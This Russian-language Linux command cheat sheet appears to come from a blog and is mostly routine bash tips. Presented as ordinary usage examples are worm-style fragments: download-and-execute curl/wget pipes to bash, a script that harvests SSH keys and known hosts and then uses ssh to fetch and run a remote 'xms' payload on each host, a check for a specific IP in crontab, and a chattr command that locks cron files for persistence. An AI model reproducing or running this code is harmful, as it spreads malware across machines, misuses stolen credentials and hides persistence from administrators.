Полезные команды и скрипты Linux
Добавление переменныx в окружение
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
ulimit
С помощью утилиты ulimit можно посмотреть или установить максимально допустимые параметры системы
~$ ulimit -a
core file size (blocks, -c) 0
data seg size (kbytes, -d) unlimited
scheduling priority (-e) 0
file size (blocks, -f) unlimited
pending signals (-i) 63135
max locked memory (kbytes, -l) 64
max memory size (kbytes, -m) unlimited
open files (-n) 1024
pipe size (512 bytes, -p) 8
POSIX message queues (bytes, -q) 819200
real-time priority (-r) 0
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) 63135
virtual memory (kbytes, -v) unlimited
file locks (-x) unlimited
Выключение по расписанию
shutdown -h 19:30 [сообщение]
Перезагрузк по расписанию
sleep 5 ; reboot
Посчитать кол-во ядер
t@x:~$ nproc
4
t@x:~$ grep processor /proc/cpuinfo
processor : 0
processor : 1
processor : 2
processor : 3
t@x:~$ grep -c processor /proc/cpuinfo
4
t@x:~$
Загрузка файла с сервера и его выполнение
С помощью curl
curl -fsSL http://netbash.ru/test
С помощью wget
wget -q -O- http://netbash.ru/test
С помощью python
python2 -c 'import urllib2 as fbi;print fbi.urlopen("http://netbash.ru/test").read()'
Загрузка и выполнение скрипта
Первый вариант:
curl -fsSL http://netbash.ru/test || wget -q -O- http://netbash.ru/test | bash -sh
Второй вариант (загрузка, выполнение, удаление):
lwp-download http://netbash.ru/test /tmp/test; bash /tmp/test; /tmp/test; rm -rf /tmp/test
Один из способов получить рандомное число от 0 до 255, что сопотавимо с диапазоном октета IP адреса:
$ rand=$(seq 0 255 | sort -R | head -n1)
Узнать префикс подсети
path=$(which ifconfig);
~$ if [ -s "$path" ]; then range=$(ifconfig | grep -i "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1); fi; echo $range
192.168
grep "BROADCAST\|inet" - ищет строки со словом BROADCAST или со словом inet
grep -o, -только-совпадение Выводите только совпадающие (непустые) части совпадающей строки, причем каждая такая часть выводится в отдельной выходной строке.
grep -P, --perl-регулярное выражение. Интерпретируйте шаблон как регулярное выражение, совместимое с Perl (PCRE).
grep -v, --инвертировать-совпадение. Иными словами, если совпадение найдено, нужно убрать его из результата
Дополнительно в ветвлении else можно добавить команду ip -a
Статус ping в переменной
if [ $(ping -c 1 netbash.ru 2>/dev/null | grep "bytes from" | wc -l ) -gt '0' ]; then dns=""; else dns="-d"; fi
Если связи к серверу нет, тогда значение переменной определяется как -d, потом эта переменная может использоваться по назначению
Проверка статуса соединения и выполнения соответствующего действия:
~$ if [ ! "$(netstat -ant | grep '127.0.0.1:6379\|127.0.0.1:33975'|grep 'LISTEN\|ESTABLISHED\|TIME_WAIT'|grep -v grep)" ]
> then
> echo "not"
> else
> echo "yes"
> fi
yes
Проверка состояния cron
systemctl is-active cron
systemctl is-active crond
Вывод заданий cron для текущего пользователя
crontab -l
Удаление заданий cron для текущего пользователя
crontab -r
Добавить запись в cron для текущего пользователя
echo "* * * * * echo 'test'" | crontab -
Проверка наличия записи в cron
crontab -l | grep -q "$url\|209.141.40.190"
Поиск файлов в нескольких дирректориях
# find ~/ /root /home -maxdepth 3 -name 'id_rsa*'
Поиск файлов в нескольких директриях за исключением
# find ~/ /root /home -maxdepth 6 -name 'id_rsa*' | grep -vw pub
Вывод содержимого файлов и поиск в них совпадений
cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }'
Поиск файла по шаблону в нескольких директориях, сортировка
find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq
Вывод содержимого из файлов, если они есть и поиск строки с именем хоста, вывод хоста
cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
Вывод содержимого файлов history и поиск в них команды, вывод ip команды
cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
Поиск доверенных хостов
icat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq
Поиск в нескольких директориях директории .ssh, вывод файлов в этой директории и поиск среди них id_rsa, вывод имени пользователя файла
find ~/ /root /home -maxdepth 3 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -v "\.ssh"
userlist=$(echo $USERZ | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
Пример использования:
Собираются ключи ssh
Имена хостов
Имена пользователей
Сортировка
Попытка подключения и запуск команды на доверенных удаленных хостах
KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*' | grep -vw pub)
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')
KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
USERZ=$(
echo "root"
find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -v "\.ssh"
)
userlist=$(echo $USERZ | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
keylist=$(echo "$KEYS $KEYS2 $KEYS3" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
for user in $userlist; do
for host in $hostlist; do
for key in $keylist; do
chmod +r $key; chmod 400 $key
ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host "(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms"
done
done
done
Запрет на удаление файлов
chattr +ai -V /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down
Изменение вывода содержимого файла
#Добавление номеров строк при выводе файлов
awk '{print NR": "$0}' < file
#Изменение ширины текста с помощью команды fmt
while read input; do if [ ${#input} -gt 10 ] ; then echo "$input"|fmt -w 100; fi; done < test
Операции со строками
#Узнать длину строки
line='kjlklk'
t@x:~$ echo ${#line}
# Вывести имена всех пользователей из файла /etc/passwd, id которых больше 99
cut -d: -f1,3 /etc/passwd | awk -F: '$2 > 99 {print $1}'
Подсчет суммы
#Подсчет размера всех файлов в директории
#!/bin/bash
#-xdev не переходить по каталогам в других файловых системах
# Все системные пользователи находятся в пределах 100
for name in $(cut -d: -f1,3 /etc/passwd | awk -F: '$2 > 99 {print $1}');
do
find /home/t/bash_scripts -xdev -type f -user $name -ls | \
awk '{sum+=$7} END {print sum / (1024*1024)}'
done
Создание временного сценария
tempfile="/tmp/available.$$"
trap "rm -f $tempfile" EXIT
t@x:~/bash_scripts/myscripts/allscripts$ cat << 'EOF' > $tempfile
> { sum += $4 }
> END printf sum
> EOF
Убить все процессы пользователя
ps -u postgres | awk '{print $1}' | sed 's/[[:alpha:]]//g' | xargs kill -9
Заблокировать директорию пользователя
chmod 000 $homedir/$1
Проверка переменной
if [ -f ${test:?"Yes"} ] ; then echo "file"; fi
Обработка сигналов с помощью trap
Синтаксис: trap ДЕЙСТВИЕ СИГНАЛ...
trap "/bin/rm -f $HOME/.backup" EXIT
Форматы времени
man strftime
Подключение ftp
ftp -np << EOF
open $server
user ftp $anonpass
get "$filename" "$basefile"
quit
EOF
Использование trap
trap "$(which rm) -f $tmpchanges" 0 1 15 # Удалить временный файл при выходе.
Отправка письма с помощью sendmail
(cat << EOF
Subject: $(date)
From: Tolik
Content-type: text/html
To: 89261969132@mail.ru
EOF
curl https://netbash.ru; ) | sendmail -t
Запись скрипта в файл
cat << "EOF" > /tmp/test
echo "test"
EOF
Удалить Строчные и заглавные буквы, а также цифры
echo 'Test123*.' |tr -d '[[:upper:][:lower:][:digit:]]'
Перечислить все файлы в текущем каталоге
for filename in *
Перечисление пакетов из списка и их удаление
for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do sudo apt-get remove $pkg; done
Использование псевдонима для длинных команд
#Вывод всех алиасов
alias
#Создание псевдонима
alias net='netstat -npltu | grep 80'
Получение идентификаторов всех процессов принадлежащих пользователю chich
ps -aux | awk '{if ( $1 == "chich") print $2}'
ps -aux | grep 202986
unset
С помощью unset можно удалить переменную или вывести список существующих переменных
~$ unset
Display all 107 possibilities? (y or n)
_ CLUTTER_BACKEND GROUPS LINES PS2 VTE_VERSION
_backup_glob COLORTERM GTK3_MODULES LOGNAME PS4 WINDOWID
BASH COLUMNS GTK_MODULES LS_COLORS PWD XAUTHORITY
BASH_ALIASES COMPIZ_CONFIG_PROFILE GTK_OVERLAY_SCROLLING MACHTYPE QT_ACCESSIBILITY XDG_CONFIG_DIRS
BASH_ARGC COMP_WORDBREAKS HISTCMD MAILCHECK QT_FONT_DPI XDG_CURRENT_DESKTOP
BASH_ARGV DBUS_SESSION_BUS_ADDRESS HISTCONTROL MANDATORY_PATH QT_QPA_PLATFORMTHEME XDG_DATA_DIRS
BASH_ARGV0 DEFAULTS_PATH HISTFILE MATE_DESKTOP_SESSION_ID QT_SCALE_FACTOR XDG_GREETER_DATA_DIR
BASH_CMDS DESKTOP_SESSION HISTFILESIZE new_dirs RANDOM XDG_RUNTIME_DIR
BASH_COMMAND DIRSTACK HISTSIZE OLDPWD SECONDS XDG_SEAT
BASH_COMPLETION_VERSINFO DISPLAY HOME OPTERR SESSION_MANAGER XDG_SEAT_PATH
BASH_LINENO EPOCHREALTIME HOSTNAME OPTIND SHELL XDG_SESSION_CLASS
BASHOPTS EPOCHSECONDS HOSTTYPE OSTYPE SHELLOPTS XDG_SESSION_DESKTOP
BASHPID EUID IFS PATH SHLVL XDG_SESSION_ID
BASH_REMATCH GDM_LANG LANG PGDATA SRANDOM XDG_SESSION_PATH
BASH_SOURCE GDMSESSION LANGUAGE PIPESTATUS SSH_AUTH_SOCK XDG_SESSION_TYPE
BASH_SUBSHELL __git_printf_supports_v LESSCLOSE PPID TERM XDG_VTNR
BASH_VERSINFO GPG_AGENT_INFO LESSOPEN PROMPT_COMMAND UID _xspecs
BASH_VERSION greeting LINENO PS1 USER
Создать переменную окружения
#Чтобы сделать переменную доступной для подпроцессов, превратите ее из локальной в переменную окружения.
$ greeting=hello
$ export greeting
Показать время в определенной тайм зоне
TZ=Europe/Moscow date
Запуск команды в подпроцессе
greeting='hello'
bash -c 'echo $greeting world'
Где хранится справочная информация?
/usr/share/doc/
Пользователи и их действия
Чтобы увидеть чем в настоящий момент занимаются пользователи системы попробуй выполнить команду w
Кроме прочего можно увидеть во сколько пользователь вошел в систему и WHAT он делает в настоящий момент, JCPU и PCPU отображают нагрузку на систему
Подобную информацию можно увидеть в выводе команды top, если речь идет о кол-ве пользователей и нагрузке на систему
Несколько полезных опций команды ls
#3 последних измененных файла в обратном порядке
ls -lrt | tail -n 3
#Сортировка по расширению файла
ls -lX Загрузки/
#Сортировка по размеру файла
ls -lSh Загрузки/
readlink
Возвращает имя файла, на который указывает символическая ссылка
strings
Используется для поиска читаемых строк в двоичных файлах
basename dirname
Конструкция basename $0 -- позволяет сценарию узнать свое имя, то есть имя файла, который был запущен
dirname - Отсекает basename от полного имени файла и выводит только путь к файлу
sum, cksum, md5sum
Эти утилиты предназначены для вычисления контрольных сумм
Ctrl+U
Очистить строку ввода
$IFS
Специальная переменная которая содержит разделитель, по умолчанию символ пробела
shred
Надежное, с точки зрения безопасности, стирание файла, посредством предварительной, многократной записи в файл случайной информации, перед тем как удалить его
Кодирование и шифрование
uuencode - Эта утилита используется для кодирования двоичных файлов в символы ASCII, после такого кодирования файлы могут, с достаточной степенью безопасности, передаваться по сети, вкладываться в электронные письма и т.п..
uudecode - Утилита декодирования файлов, прошедших обработку утилитой uuencode
mktemp
Создает временный файл с "уникальным" именем
Использование в скрипте значения по умолчанию
Если при вызове исполняемого файла не задано, будет использовано значение по умолчанию
#Пример
#!/bin/bash
BACKUPFILE=backup
archive=${1:-$BACKUPFILE}
echo $archive
#Вызов скрипта
~$ ./file1.sh
backup
~$ ./file1.sh test
test
Проверка наличия позиционного параметра
variable1=$1;
if [ -z $1 ]
then
echo "Укажите параметр"
exit $POS_PARAMS_ERR
fi
shift
shift при каждом обращении в скрипте сдвигает аргументы на одну позицию влево, при этом аргумент $0 остается без изменений, но теряется аргумент $1
shift также может применяться к входным аргументам функции
until [ -z $1 ]
do
echo "$1";
shift
done
Перенос в командной строке
#escape-символ позволяет писать многострочные команды
~# touch test1 \
> rm test1
#в качестве альтернативы можно использовать конвеер
~# touch test1 |
> rm test1
#Использование кавычек
echo "foo
bar"
#foo
#bar
echo
echo 'foo
bar'
# Никаких различий.
#foo
#bar
echo foo\
bar
# Перевод строки экранирован.
#foobar
#
echo "foo\
bar"
# Внутри "нестрогих" кавычек символ "\"
# интерпретируется как экранирующий.
echo 'foo\
bar'
# В "строгих" кавычках обратный слеш воспринимается как
# обычный символ.
#foo\
#bar
Арифметические операторы
+
-
*
/
** - возведение в степень
% - модуль (деление по модулю)
#Возведение в степень
~$ let "z=5**2"
~$ echo $z
25
#Деление по модулю
~$ echo `expr 5 % 3`
2
n=1; echo -n "$n "
#Допустимо так
let "n = n + 1"
#Или так
let "n = $n + 1"
#В данном случае двоеточие обязательно, в противном случае выражение будет интерпретироваться как команда
: $((n = $n + 1 ))
~$ n=$(($n + 1))
~$ echo $n
10
Запись в лог последнего запущенного фонового процесса
#!/bin/bash
echo "Для запуска сценария был вызван $_"
LOG=bash.log
COMMAND1="sleep 5"
echo "Запись в лог всех PID фоновых процессов, запущенных из сценария:"
#Добавить в лог имя файла скрипта
echo $0 >> "$LOG"
echo >> "$LOG"
#Добавить в лог строку
echo -n "PID of \"$COMMAND1\": " >> "$LOG"
#
${COMMAND1} &
${COMMAND1} &
${COMMAND1} &
echo $! >> "$LOG"
echo "Код возврата команды $?"
#Переменная $$ может использоваться для генерации уникальных имен временных файлов
echo "PID процесса-сценария $$"
Длина строки
str1=abcABC123
#Способ 1
echo ${#str1}
#Способ 2
expr length $str1
#Способ 3
echo `expr "$str1" : '.*'`
#!/bin/bash
#Вставка пустых строк между параграфами в текстовом файле
MINLEN=40
while read line #Построчное чтение файла
do
echo "$line" #Вывод строки
len=${#line}
#Строки, содержащие количество символов меньшее, чем $MINLEN принимаются за последнюю строку параграфа
if [ "$len" -lt "$MINLEN" ]
then echo #Добавление пустой строки
fi
done
exit 0
Длина подстроки в строке
#expr match "$string" '$substring'
#где где $substring -- регулярное выражение
#Или
#expr "$string" : '$substring'
#Где $substring -- регулярное выражение.
echo `expr "$str1" : '[0-9]*'`
#Номер позиции первого совпадения в строке
echo `expr index "$str1" 123`
Извлечение подстроки
${string:position}
Извлекает подстроку из $string начиная с позиции $position
${string:position:length}
Извлекает подстроку длинной length из строки string начиная с определенной позиции position
str1=abc123ABC456def
echo ${str1:4} #23ABC456def
echo ${str1:3:3} #123
#Извлечение последних 3 символов из строки
echo ${str1:(-3)} #def
#Вывод аргументов
#Вывод 2-го и последующих аргументов
#!/bin/bash
echo ${*:2}
echo ${*:2}
#Вывод двух аргументов, начиная со второго
echo ${*:2:2}
#Тоже самое, используя @
echo ${@:2:2}
./test.sh раз два три четыре
два три четыре
два три
два три
expr substr $string $position $length
Извлекает $length символов из $string, начиная с позиции $position.
str1=123abcABC456def
echo `expr substr $str1 4 3`
echo `expr match $str1 '\(.*[A-Z]\)'`
123abcABC
#Или
echo `expr "$str1" : '\(.*[A-Z]\)'`
123abcABC
Удаление подстроки из строки
#${string#substring} #Удалить первое короткое совпадение
#${string##substring} #Удалить от и до учитывая всю длину строки
#Удаление подстроки substring из строки string
var1=abcd12345abc6789
pattern1=a*c
echo ${var1#$pattern1} # d12345abc6789
echo ${var1##$pattern1} # 6789
Замена подстроки
#Пример1 Если построка замены отсутствует, найденное совпадение будет удалено
var1=abcd12345abc6789
echo ${var1/abc/cde}
cded12345abc6789
#Пример2 Замена всех совпадений
echo ${var1//abc/cde}
cded12345cde6789
Поиск переменных по шаблону
#Найти переменные которые начинаются с var
var1=10
var2=20
var3=30
var=${!var*}
echo $var
var var1 var2 var3
Подоболочки Subshells
Запуск сценария приводит к запуску дочернего командного интерпретатора, который выполняет список команд в файле сценария
Сценарий запускается как дочерний процесс родительской оболочки
Сценарий в свою очередь может запустить свой дочерний процесс в своей подоболочке. Это позволяет сценарию распараллелить процесс обработки данных по нескольким задачам, исполняемых одновременно
Список команд в круглых скобках исполняется в подоболочке
( command1; command2; command3; ... )
Значения переменных, определенных в дочерней оболочке, не могут быть переданы родительской оболочке и ведут себя как локальные переменные
Использование регулярных выражений
* - ничего или любое кол-во любых символов ( ls file* )
. - не менее одного любого символа, за исключением символа перевода строки (\n)
^ - в зависимости от контекста означает отрицание или начало строки
^$ - пустая строка
$ - конец строки
[...] - один символ из подмножества в скобках
[x-y] - один символ из диапазона
[a-b0-9] - один символ из двух диапазонов
[^0-9] - любой символ, кроме символов из диапазона
[Yy][Ee][Ss] - шаблон соответсвует слову yes
\ - обратный слэш экранирует специальные символы
\<...\> - экранированные угловые скобки обозначают границы слова
Например выражение "\
? - заданный символ встречается ноль или один раз
+ - заданный символ встречаетс один или любое число раз
\{..\} - фигурные скобки задают число вхождений предыдущего выражения
Экранирование фигурных скобок -- обязательное условие, иначе они будут интерпретироваться как простые символы
(.....) - круглые скобки предназначены для выделения групп регулярных выражений, полезны при использовании с оператором "|", при извлечении подстроки с помощью команды expr
| - вертикальна черта выполняет роль логического оператора "ИЛИ" в регулярных выражениях и служит для задания набора альтернатив
egrep 're(a|e)d' test
dump
Команда dump создает резервные копии целых файловых систем, она считывает дисковые разделы и сохраняет их в файле, в двоичном формате
Команда restore -- "разворачивает" файлы, созданные утилитой dump
lsmod insmod rmmond modprobe depmode
lsmod - Выводит список загруженных модулей
insmod - принудительная загрузка модуля ядра
rmmond - выгружает модуль ядра
modprobe - загрузчик модулей
depmode - создает файл зависимостей между модулями, обычно вызывается из сценариев начальной загрузки системы
env
Запускает команду или сценарий с модифицированными переменными окружения
Без параметров просто выводит список переменных окружения
watch
Периодически запускает указанную программу с заданным интервалом времени ( по умолчанию 2 сек. )
watch -n 1 free -m
sync
Принудительный сброс содержимого буферов на жесткий диск
В
былые дни, команда sync; sync (дважды - для абсолютной уверенности) была упреждающей мерой перед перезагрузкой системы.
chroot
Изменяет корневой каталог по умолчанию. Эта утилита используется с целью защиты системы, например можно ограничить доступ к разделам файловой системы для пользователей для пользователей подключившихся к системе с помощью telnet ( поместить пользователя в chroot окружение ), однако после данной операции изменяется путь к выполняемым командам
Команда chroot /opt приведет к тому, что все обращения к каталогу /usr/bin будут переводиться на каталог /opt/usr/bin
init
init -- предок (родитель) всех процессов в системе. Вызывается на последнем этапе загрузки системы и определяет уровень загрузки (runlevel) из файла /etc/inittab.
telinit - Символическая ссылка на init - инструмент для смены уровня загрузки (runlevel)
Как правило используется при обслуживании системы или восстановлении файловой системы
Может быть очень опасна, при неумелом обращении
runlevel
runlevel - Выводит предыдущий и текущий уровни загрузки (runlevel), из файла /var/run/utmp
mount
/etc/mtab содержит список смонтированных файловых систем и разделов включая виртуальные, такие как /proc
mount -a -- монтирует все (all) файловые системы и разделы, перечисленные в /etc/fstab, за исключением тех, которые имеют флаг noauto. Эту команду можно
встретить в сценариях начальной загрузки системы из /etc/rc.d
Перед тем как физически вынуть компакт-диск или дискету из устройства, это устройство должно быть отмонтировано командой umount, иначе файловая система может оказаться поврежденной
top
С ключом -b -- отображение ведется в обычном текстовом режиме, что дает возможность анализа вывода от команды внутри сценария
nohup
Запуск команд в режиме игнорирования сигналов прерывания и завершения
Если вы собираетесь использовать nohup в сценариях, то вам потребуется использовать его в связке с командой wait, чтобы не породить процесс "зомби"
tty
Выводит имя терминала текущего пользователя
stty
Выводит и/или изменяет настройки терминала. Эта сложная команда используется в сценариях для управления поведением терминала
arch
Выводит тип аппаратной платформы компьютера
Эквивалент команды uname -m
logger
Добавляет в системный журнал (/var/log/messages) сообщение от пользователя
logger -t $0 -i Logging at line "$LINENO"
# Ключ "-t" задает тэг записи в журнале
# Ключ "-i" -- записывает ID процесса
id
Выводит uid и guid текущего или указанного пользователя
su sudo
Команда предназначена для запуска сценария от имени другого пользователя
#Смена пользователя
su mega
#Смена на root
su
#Запуск от имени root
sudo nginx -t
#Запуск от имени другого пользователя
sudo -u www-data php82 test.php
objdump
Отображает содержимое исполняемого или объектного файла либо в шестнадцатиричной форме, либо в виде дизассемблерного листинга (с ключом -d)
objdump -d /bin/ls
mcookie
Создает псевдослучайные шестнадцатиричные 128-битные числа, обычно используется X-сервером в качестве "сигнатуры" авторизации. Может использоваться как генератор случайных чисел
users
Выведет список всех зарегистрировавшихся пользователей, является эквивалентом команды who -q
groups
Выводит список групп, в состав которых входит текущий пользователь, соответствует внутренней переменной $GROUPS, но выводит названия групп, а не их числовые идентификаторы
rlogin
Remote login - инициирует сессию с удаленной системой. Эта команда небезопасна, вместо нее лучше использовать ssh
rsh
Исполняет команду на удаленной системе. Эта команда небезопасна, вместо нее лучше использовать ssh
rcp
Копирование файлов между двумя машинами через сеть
Небезопасно
hexdump
Выводит дамп двоичных данных из файла
host
Возвращает информацию об узле интернета
host -a netbash.ru
ipcalc
Производит поиск IP адреса и информацию об узле
whois
Предоставляет информацию о домене
finger
Предоставляет информацию о пользователях в сети
iconv
Утилита преобразования текста из одной кодировки в другую
recode - разновидность утилиты iconv
groff,tbl, eqn
groff - язык разметки и форматирования вывода, является расширением roff/troff
tbl - утилита обработки таблиц, должна рассматриваться как составная часть groff, так как ее задачей является преобразование таблиц в команды groff
eqn - утилита преобразования математических выражений в команды groff
lex, yacc
lex - утилита лексического разбора текста. В linux заменена на утилиту flex
yacc - утилита для создания синтаксических анализаторов, на основе набора грамматик, задаваемых разработчиком. В linux заменена на bison
dos2unix
Предназаначена для преобразования текстовых файлов из формата DOS в формат Linux
Форматирование по столбцам
column - преобразует текст, вставляя символы табуляции по мере необходимости
Удаляет колонки (столбцы) сиволов из файла и выводит результат
nl - нумерует строки в файле
echo "Hello world" | column -t
#Нумерация строк
ls -l | nl
Использование wc
#Подсчет количества символов самой длинной строки в файле
wc -L file.txt
#Подсчет количества .txt-файлов
ls *.txt | wc -l
#Подсчет символов, слов и строк в файлах, названия которых начинаются с символа из диапазона от a до b
wc bash_scripts/banip/[a-b]*
rev
Выводит содержимое файла в обратном порядке, начиная с последнего символа
Проверка ввода с подавлением вывода и проверкой кода
for username in $@
do
echo $username | grep "^[A-Za-z]*$" > /dev/null
if [ $? -eq 1 ]
then
echo "ERROR: Names must only contains letters."
exit 2
else
echo "Hello $username!"
fi
tac
Выводит строки файла в обратном порядке
Проверка что пользователь является root
ROOT_UID=0 # Только пользователь с $UID = 0 имеет привилегии root.
E_NOTROOT=65
E_NOPARAMS=66
if [ "$UID" -ne "$ROOT_UID" ]
then
echo "Для запуска этого сценария вы должны обладать привилегиями
root."
exit $E_NOTROOT
fi
suspend
Действует аналогично нажатию комбинаций клавиш ctrl+z, приостанавливает работу командной оболочки
logout
Завершает процесс работы командной оболочки, если нет фоновых процессов
times
Выдает статистику выполнения команд в еденицах системного времени
times ls -la /usr/bin/
Значение по умолчанию
echo ${var-default}
Если параметр отсутствует, будет использоваться значение по умолчанию
Параметры по-умолчанию находят применение в случаях, когда сценарию необходимы какие либо входные аргументы, передаваемые из командной строки, но такие аргументы не были переданы
DEFAULT_FILENAME=generic.data
filename=${1:-$DEFAULT_FILENAME}
#Например
test=123
echo ${test-`whoami`}
123
unset test
echo $test-`whoami`}
chich
${parameter=default}, ${parameter:=default}
Если значения параметров не заданы явно, то применяются значения по умолчанию
Символ : имеет значение только когда $parameter был инициализирован "пустым" (null) значением
${parameter+alt_value}, ${parameter:+alt_value}
Если параметр имеет какое либо значение, то используется alt_value, иначе -- null ("пустая" строка)
Символ : имеет значение только если parameter объявлен и "пустой"
test=12345
echo ${test-`whoami`}
12345
unset test
echo $test
echo ${test-`whoami`}
chich
echo $test
echo ${param1+xyz}
param2=
echo ${param2+xyz}
xyz
param3=12345
echo ${param3+xyz}
xyz
echo ${param4:+xyz}
param5=
echo ${param5:+xyz}
${parameter?err_msg}, ${parameter:?err_msg}
Если parameter инициализирован, то используется его значение, в противном случае -- выводится err_msg
Символ : имеет значение только когда parameter инициализирован "пустым" значением
: ${HOSTNAME?} ${USER?} ${HOME?} ${MAIL?}
#
echo ${testvar?"Переменная не инициализирована"}
-bash: testvar: Переменная не инициализирована
testvar="Переменная инициализирована"
echo ${testvar?"Переменная не инициализирована"}
Переменная инициализирована
Длина перменной
#Число симолов в переменной
${#var}
#Число элементов в массиве
${#array}
#Кол-во элементов ( позиционных параметров )
${#*}
${#@}
#Для массивов ( кол-во элементов в массиве )
${#array[*]}
${#array[@]}
#Длина строки
str1=abcdEFGH28ij
echo ${#str1}
12
#Проверка наличия параметров
#!/bin/bash
if [ $# -eq 0 ]
then
echo "Введите хотя бы один параметр"
fi
Генерация случайных чисел
В linux существует функция $RANDOM при обращении к которой генерируется случайное число
#Пример1
echo $RANDOM
5263
Присвоение целочисленных переменных в стиле языка C
(( a = 123 ))
(( a++ ))
(( --a ))
env
Команда env выводит все переменные среды
Добавление каталога в переменную PATH
Какая команда объединит текущее значение PATH с новым каталогом ~/scripts?
PATH=$PATH:~/scripts
read
Если команде read не была передано ни одной переменной, то ввод будет осуществлен в переменную $REPLY
-s -- подавляет эхо-вывод, т.е. ввод с клавиатуры, ввод с клавиатуры не отображается на экране
-n N -- ввод завершается автоматически, сразу же после ввода N-го символа
-p -- задает вид строки подсказки - приглашения к вводу (prompt)
Использование этих ключей немного осложняется тем, что они должны следовать в определенном порядке
-t позволяет ограничивать время ожидания ввода командой read
Команда read может считывать значения для переменных из файла, перенаправленного на stdin. Если файл содержит не одну строку, то переменной будет присвоена только первая строка. Если команде read будет передано несколько переменных, то первая строка файла будет разбита, по пробелам, на несколько подстрок, каждая из которых будет записана в свою переменную
# Чтение данных, не дожидаясь нажатия на клавишу ENTER
read -s -n1 -p "Нажмите "
echo $REPLY
exit
Использование exit немедленно завершит работу скрипта, поэтому следующие за exit строки никогда не выполнятся
Код exit может возвращать 0 в случае успешного выполнения или любое другое целое число, которое может ассоциироваться с ошибкой
pushd, popd, dirs
pushd dir-name -- помещает имя текущего каталога в стек и осуществляет переход в каталог dir-name
popd -- выталкивает, находящееся на вершине стека, имя каталога и одновременно осуществляет переход в каталог, оказавшийся на врешине стека
dirs -- выводит содержимое стека каталогов (сравните с переменной $DIRSTACK)
let
let a=11
let a=a+5
# То же, что и 'a=11'
# Эквивалентно "a = a + 5"
# (Двойные кавычки и дополнительные
# пробелы делают код более удобочитаемым)
echo "11 + 5 = $a"
let "a <<= 3"
# Эквивалентно let "a = a << 3"
echo "\"\$a\" (=16) после сдвига влево на 3 разряда = $a"
let "a /= 4"
# Эквивалентно let "a = a / 4"
echo "128 / 4 = $a"
let "a -= 5"
# Эквивалентно let "a = a - 5"
echo "32 - 5 = $a"
let "a = a * 10" # Эквивалентно let "a = a * 10"
echo "27 * 10 = $a"
let "a %= 8"
# Эквивалентно let "a = a % 8"
echo "270 mod 8 = $a (270 / 8 = 33, остаток = $a)"
eval
Транслирует список аргументов, из списка, в команды
#Простой пример
y=`eval ls -l`
#Принудительное завершение сеанса
y=`eval ps ax | sed -n '/ppp/p' | awk '{ print $1 }'`
kill -9 $y
source и exec
source - может найти применение в ситуациях, когда несколько сценариев пользуются одним файлом с данными или библиотекой функций
exec - это встроенная команда интерпретатора shell заменяет текущий процесс новым процессом, запускаемый командой exec
Командный интерпретатор встречает эту команду, то он порождает дочерний процесс, чтобы исполнить команду
При использовании использовании exec, оболочка не порождает еще один процесс, а заменяет текущий процесс другим. Для сценарий это значит его завершение сразу после выполнения команды exec, т.е. это будет последняя команда в сценарии
#!/bin/bash
exec echo "Завершение"
echo "Не будет выполнено"
type
Похожа на команду which, выводит полный путь к исполняемому файлу команды
#Определит путь к внутренней и внешней команде bash
type -a bash
bash является /usr/bin/bash
bash является /bin/bash
Проверить систему инициализации
ps -s1| awk '{print $4}'| grep -Ev "CMD"
Источники
Связанные темы
Использование команды tee в Linux
Использование wget и curl в Linux
Команда chattr и lsattr в Linux
Использование awk Linux Alpine
Блокировка пользователя в Linux
Проверка на необходимость перезапуска после обновления пакетов
Стандартные потоки и перенаправление ввода/вывода в Linux
Архивирование и сжатие файлов в Linux
Условная конструкция if в Linux
Использование оператора select в языке shell
Внутренние и внешние команды linux
Использование конструкции case в Linux